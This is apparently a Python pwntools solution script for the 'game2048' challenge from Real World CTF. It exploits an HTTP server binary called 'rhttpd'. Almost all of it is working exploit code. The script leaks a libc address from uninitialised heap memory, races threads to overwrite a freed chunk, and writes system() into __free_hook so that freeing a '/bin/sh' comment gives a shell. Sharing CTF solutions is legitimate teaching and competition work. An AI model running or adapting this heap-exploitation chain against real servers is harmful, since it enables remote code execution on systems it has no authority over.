game2048 solver real world ctf

game2048.py

from pwn import *
import threading
from requests import get, post
import time

e = ELF('./rhttpd')
libc = ELF('./libc.so.6')

HOST = '54.176.255.241'
p = remote(HOST, 54321)

p.recvuntil(b': ')
url = p.recv().decode().replace('54.176.255.241', HOST) # 54.176.255.241 was hardcoded in the bin, so to replace it with localhost
print(url)

headers = '''
POST /submit HTTP/1.1
Host: 127.0.0.1:44631
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: name=2; pass=2
Content-Length: 288

'''[1:].replace('\n', '\r\n')

def free_and_sleep():
    post(url+f'/submit', cookies=sess, headers={'Content-Length': '1000'})

def malloc_and_write(a):
    target = url[7:].split(':')
    r = remote(*target)
    r.send(headers)
    time.sleep(3)
    r.send(a)

def tf():
    t1=threading.Thread(target=free_and_sleep)
    t1.start()

def tf2(a):
    t1=threading.Thread(target=malloc_and_write, args=(a,))
    t1.start()
   

def register(user,pw):
    global sess
    res = get(url+f'/register?name={user}&passwd={pw}&re_passwd={pw}')
    sess = {'name':user,"pass":pw}
    print (res.status_code)

def submit(data=''):
    print (post(url+'/submit',data=f'word={data}&submit',cookies=sess).status_code)

def submit_get():
    x = get(url+'/submit.html',cookies=sess)
    print (x.status_code)
    return x.text

def tsub():
    t1=threading.Thread(target=submit, args=('x',))
    t1.start()

register('1','1')
get(url+'/register?name=2&passwd=2&re_passwd=2')
get(url+'/register?name=3&passwd=3&re_passwd=3')
get(url+'/register?name=4&passwd=4&re_passwd=4')
get(url+'/register?name=5&passwd=5&re_passwd=5')
get(url+'/register?name=6&passwd=6&re_passwd=6')

submit_get()
submit('A'*0x420) # malloc chunk size 0x420
submit() # free(u->comment), creates unsorted bin, malloc(0), uninitialized leak
res = submit_get()
print (res.find('\x7f'))
res = res[res.index('name="word">')+13:]
leak = res[:res.index('\n')].strip()
libc.address = int.from_bytes(bytes([ord(i) for i in leak]),'little') - 0x1ebfd0
log.success('Libc base: '+hex(libc.address))

sess = {'name':'3', 'pass':'3'}
submit('A'*0x120)
sess = {'name':'1', 'pass':'1'}
submit('A'*0x120)
sess = {'name':'3', 'pass':'3'}
submit('A'*0x30)
sess = {'name':'1', 'pass':'1'}

tf()
time.sleep(1)
tf2(p64(libc.symbols['__free_hook']))
time.sleep(1)
tf()
time.sleep(4)

sess = {'name':'4', 'pass':'4'}
submit('A'*0x120)
sess = {'name':'6', 'pass':'6'}
submit('/bin/sh')

sess = {'name':'5', 'pass':'5'}
payload = p64(libc.symbols['system'])
headers = headers.replace('=2', '=5')
tf2(payload)

time.sleep(4)
sess = {'name':'6', 'pass':'6'}
tsub()
time.sleep(5)

p.interactive()